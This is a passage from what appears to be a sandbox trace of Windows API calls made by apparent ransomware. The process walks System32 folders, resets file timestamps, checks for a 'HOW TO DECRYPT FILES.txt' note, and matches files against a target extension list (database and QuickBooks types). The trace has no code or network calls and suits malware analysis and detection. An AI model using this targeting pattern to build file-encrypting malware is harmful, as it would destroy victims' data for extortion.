ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9996b775, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9996b775, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msimsg.dll.mui", cAlternateFileName="")) returned 1 [0144.625] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.625] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50dc0d6, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc53d5c42, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc53d5c42, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msprivs.dll.mui", cAlternateFileName="")) returned 1 [0144.625] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.625] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50dc0d6, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc53d5c42, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc53d5c42, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msprivs.dll.mui", cAlternateFileName="")) returned 0 [0144.625] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0144.625] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0144.625] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0144.626] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0144.626] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0144.626] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0144.627] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0144.627] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0144.627] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4795bfdc, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4795bfdc, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x67ff0030, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0144.628] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.628] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0144.628] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.628] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7aba83c, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd7aba83c, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6811ebf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0144.628] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.628] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0144.629] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.629] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d399b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x40d399b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x681b88e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0144.629] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.629] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0144.629] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.630] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0144.630] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0144.631] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0144.631] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2737b7c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2737b7c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0144.631] lstrcmpA (lpString1=".", lpString2="de-DE") returned -1 [0144.631] lstrcmpA (lpString1="..", lpString2="de-DE") returned -1 [0144.631] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\de-DE\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2737b7c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2737b7c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.634] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.634] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2737b7c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2737b7c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.634] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.634] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.634] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3cc67bd, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc40f0e21, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc40f0e21, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cdosys.dll.mui", cAlternateFileName="")) returned 1 [0144.634] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.636] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.636] CloseHandle (hObject=0x88) returned 1 [0144.636] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc458d8a2, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc48ad56d, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xc48ad56d, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="comctl32.dll.mui", cAlternateFileName="")) returned 1 [0144.636] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.637] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb0f7690, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xcb67894b, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xcb67894b, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="comdlg32.dll.mui", cAlternateFileName="")) returned 1 [0144.637] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.637] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.637] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.638] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.638] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.638] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.639] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.639] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.639] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.639] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.640] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.640] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.640] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.640] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.641] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.641] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.641] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.641] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.642] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.642] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.642] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.642] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.642] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.643] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.643] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.643] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.643] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.644] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.644] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.644] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.644] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.645] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.645] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.645] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.645] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.645] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.645] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.646] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.646] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dhcpcsvc6.dll" | out: lpString1="C:\\Windows\\System32\\dhcpcsvc6.dll") returned="C:\\Windows\\System32\\dhcpcsvc6.dll" [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.ems") returned 0 [0144.646] lstrlenA (lpString="*.ems") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.db") returned 0 [0144.646] lstrlenA (lpString="*.db") returned 4 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.dbf") returned 0 [0144.646] lstrlenA (lpString="*.dbf") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.myox") returned 0 [0144.646] lstrlenA (lpString="*.myox") returned 6 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.myo") returned 0 [0144.646] lstrlenA (lpString="*.myo") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qbw") returned 0 [0144.646] lstrlenA (lpString="*.qbw") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qbb") returned 0 [0144.646] lstrlenA (lpString="*.qbb") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qbm") returned 0 [0144.646] lstrlenA (lpString="*.qbm") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qbo") returned 0 [0144.646] lstrlenA (lpString="*.qbo") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qbx") returned 0 [0144.646] lstrlenA (lpString="*.qbx") returned 5 [0144.646] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qba") returned 0 [0144.647] lstrlenA (lpString="*.qba") returned 5 [0144.647] PathMatchSpecA 